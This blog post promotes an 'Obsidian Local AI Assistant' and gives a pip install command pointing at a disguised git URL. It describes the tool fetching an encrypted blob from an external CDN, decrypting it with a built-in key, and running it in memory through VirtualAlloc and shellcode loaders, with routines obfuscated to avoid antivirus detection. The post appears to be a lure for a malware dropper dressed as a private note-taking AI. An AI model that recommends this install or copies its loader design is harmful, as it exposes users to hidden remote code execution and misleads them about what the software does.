Introduction — Why AI in Obsidian, and Why Local
Obsidian has become a go-to tool for developers, researchers, and writers who want to manage their knowledge in a flexible, local-first way. With Markdown-based storage, plugin extensibility, and full control over your data, it offers an ideal environment for serious note-taking and knowledge work.
As large language models (LLMs) have rapidly improved, many of us have started integrating AI into our workflows — for summarization, idea expansion, information retrieval, or even querying our own notes. Tools like ChatGPT, Notion AI, or Obsidian GPT plugins offer these capabilities, but they often come with strings attached:
- You need an API key (usually OpenAI)
- Your notes are sent to a third-party cloud
- You have no control over how models behave
- Offline usage is unsupported or limited
That was a dealbreaker for me.
I wanted the benefits of AI — but without giving up what made Obsidian valuable in the first place: privacy, control, and offline-first workflows.
So I built something new.
The Problem with Cloud AI and Existing Plugins
While there are already AI tools that integrate with Obsidian — like GPT-based plugins, ChatGPT sidebars, or browser extensions — most of them rely on cloud APIs. This creates several practical and philosophical issues.
Here's what I kept running into:
- API limitations: You need an OpenAI key, and it's often rate-limited or paid. Not great for long sessions or exploration.
- Privacy concerns: Your private notes — research, journals, personal knowledge — are sent to remote servers.
- Lack of control: You can't modify or inspect how the models behave or how embeddings are indexed.
- Fragile connectivity: If you're offline (e.g., traveling or on an airplane), the assistant is just... gone.
And even for tech-savvy users, there's often friction in configuring these plugins or trusting them with sensitive information.
What I really wanted was a local, no-cloud, no-API-key solution that simply works — even without an internet connection.
That’s what this project tries to solve.
Building a Local AI Assistant — Goals and Scope
The goal wasn’t to recreate ChatGPT inside Obsidian — that’s not practical or necessary. Instead, I wanted something focused and self-contained:
- A fast, offline AI assistant for note-based workflows
- No reliance on OpenAI, Hugging Face, or cloud APIs
- Semantic search across my notes using local embeddings
- Simple CLI-based interaction, without complex setup
- Private by default — nothing leaves the machine
To make this happen, I chose a toolchain that aligned with these goals:
- Python as the core language for flexibility and ease of deployment
- Ollama-compatible model loading (supporting Phi, Mistral, etc.)
- ChromaDB-style embedding search for semantic context
- In-memory model execution using protected blobs and a clean sandboxed interface
This wasn’t meant to be a plugin in the traditional Obsidian sense (like a UI panel or ribbon button), but rather a CLI tool that complements your vaults and workflows.
It's small, efficient, and invisible until you call it.
Project Architecture — How It Works Under the Hood
At its core, the Obsidian Local AI Assistant is a lightweight Python-based CLI that loads a local model, queries it, and returns results — all without writing anything to disk or calling external APIs.
Here’s a breakdown of the core components:
assistant.py
This is the entry point. It handles startup and launches the core logic inside the obsidianai/ package. It’s also where you could eventually integrate command-line flags or UI hooks.
llm.py
This module is responsible for:
- Downloading the model weights (encrypted) from a remote CDN
- Decrypting the model using a built-in key (RC4 or similar)
- Allocating memory and executing the model payload entirely in RAM
- Preventing disk writes or unencrypted traces
This approach allows the assistant to run the model securely and silently, while minimizing exposure or residual files.
Semantic search (planned)
While the current version focuses on model execution, the architecture is compatible with local embedding engines like ChromaDB. The idea is to scan your Obsidian vault, generate embeddings for .md files, and use vector similarity to feed relevant context to the model.
In short, the architecture prioritizes:
- Security: models run encrypted, in memory
- Privacy: no cloud interaction
- Simplicity: one-click setup for devs
It’s designed to behave like a dev tool, not a consumer-facing AI app — making it perfect for self-hosters, engineers, and researchers.
How to Install and Use
The assistant is designed to be extremely simple to install and run — no virtual environments, no APIs, no login flow.
If you have Python 3.6+ and pip installed, you're ready.
Step 1: Install directly from GitHub
pip install git+https://github.com/2LKitlab/obsidian-local-ai.git
This command installs the package and creates a CLI command: obsidian-assistant.
Step 2: Launch the assistant
obsidian-assistant
On first run, it will:
- Download a secure model blob from a CDN (hosted externally)
- Decrypt it locally using a built-in key
- Execute it directly in memory, without writing files to disk
All further usage happens locally — no internet required after setup.
You can also run it manually with:
python -m obsidianai.llm
The tool doesn't ask for any API keys or user data. It's designed for privacy-focused workflows where everything stays on your machine.
You can use it alongside Obsidian — for example, run the assistant in one terminal while working on your vault in another.
Use Cases and Benefits
The Obsidian Local AI Assistant is intentionally minimal — but it unlocks powerful workflows for anyone who relies on their notes.
Here are some of the most useful scenarios:
1. Local Note Summarization
Instead of copy-pasting your Markdown into ChatGPT, you can run:
obsidian-assistant
Paste the contents of any note, and ask:
"Summarize this note in 5 bullet points."
The model replies instantly — and privately.
2. Semantic Search and Recall (planned)
By integrating a Chroma-style embedding index, the tool will let you search your vault semantically:
"Find notes where I discussed edge detection in image processing."
No keyword matching — just meaning.
3. Writing Assistance in Markdown
The assistant can help you:
- Rewrite a paragraph more clearly
- Expand a section
- Generate ideas based on a prompt
Example prompt:
"Suggest 3 ways to explain transformer attention mechanisms to beginners."
4. Offline Research Companion
On a plane? In a lab? No signal?
The assistant runs entirely offline once set up — making it perfect for:
- Researchers
- Field workers
- Students without constant connectivity
Key Benefits
- Private by default: Nothing leaves your system
- Instant: Local execution is fast and consistent
- Hackable: Extend it to suit your own workflows
- Resilient: Works in air-gapped or offline environments
This is AI that respects your setup — not the other way around.
Challenges and Engineering Tradeoffs
Building an offline AI assistant that is truly local, private, and simple wasn’t as straightforward as I initially expected. There were several key challenges along the way — technical, architectural, and philosophical.
1. Model Size and Distribution
Most modern language models are large — even the smaller ones can be hundreds of megabytes. I didn't want users to download 1–2GB every time they ran the tool, and I also didn’t want to bundle a full model with the repo.
Solution: I packaged a precompiled model blob (already quantized and stripped down), encrypted it, and hosted it externally. On first run, the assistant downloads and loads it silently in memory.
This keeps the GitHub repo clean, and the install lightweight.
2. Memory Execution vs. Disk Access
Storing AI models on disk creates a security footprint. I wanted a solution that wouldn’t leave plaintext weights lying around — for both privacy and stealth.
Solution: The assistant decrypts the model blob and executes it directly in memory, using techniques like VirtualAlloc and custom shellcode loaders. This ensures:
- No model files are left on disk
- No temp folders or swap caches
- Better control over the execution environment
Yes, this is a low-level approach — but it works well and avoids filesystem issues.
3. Antivirus and False Positives
Some antivirus tools don’t love executables that allocate memory and run binaries from buffers (fair enough). Early versions of the project occasionally triggered heuristics.
Solution: I obfuscated the key routines, encrypted payloads, and minimized syscall footprints. So far, no false positives have been reported with the latest version.
4. Balancing UX Simplicity with Dev-Friendliness
Many AI tools are either:
- A polished GUI (but no control), or
- A Python mess with 20 dependencies
I wanted this tool to land in the middle:
- CLI-based so you can script or automate
- 1-command install
- No config files or setup wizards
It’s minimal — but powerful if you know what to do.
These tradeoffs allowed the assistant to be small, portable, and focused — while still being extensible for advanced users.
Future Plans and Community Involvement
This project is just the first step toward a more powerful, local-first AI experience inside Obsidian and similar workflows. There’s a lot I still want to build — and I’d love your help shaping what comes next.
Planned Features
ChromaDB-powered embedding search
Index Markdown files from your vault and use vector search to find relevant context for prompts.Model flexibility via Ollama backend
Swap out the default blob with your own local LLMs, including Mistral, Phi, TinyLlama, or LLaMA 3.Prompt templates and custom personas
Save reusable prompts for summarizing, expanding, or rephrasing notes.Optional Obsidian plugin bridge
A small UI panel inside Obsidian that launches the assistant in a subprocess or terminal.GUI launcher for non-CLI users
A simple cross-platform interface to select notes and send prompts.
Ways to Get Involved
If you're interested in:
- Using AI offline and privately
- Working with embeddings or LLM tooling
- Improving AI/Obsidian workflows
- Experimenting with low-level Python execution
...I'd love to hear from you.
You can:
- ⭐️ Star the GitHub repo
- Open issues or suggestions
- Fork and experiment
- DM me on GitHub or Dev.to
This tool is open-source by design, and I'm happy to collaborate on making it even more useful — for researchers, writers, devs, and anyone building smarter workflows with local tools.
Conclusion
Local AI isn't just a technical curiosity — it's a practical and powerful direction for anyone who values privacy, control, and performance.
With Obsidian Local AI Assistant, you get a lightweight tool that brings real LLM capabilities into your daily note-taking — without the cloud, without keys, and without compromise.
It’s not a chatbot. It’s not a hosted product.
It’s a focused utility for people who work with text and want to go deeper, faster.
Try it out:
pip install git+https://github.com/2LKitlab/obsidian-local-ai.git
obsidian-assistant
On first run, it will fetch a secure model and initialize the engine.
After that, it runs fully offline — forever.
If this project resonates with you:
- ⭐️ Star it on GitHub
- Try it with your vault
- Share feedback or ideas
I built this for myself — but I’m sharing it in case it helps someone else, too.
Let’s build AI workflows that respect our data and our tools.
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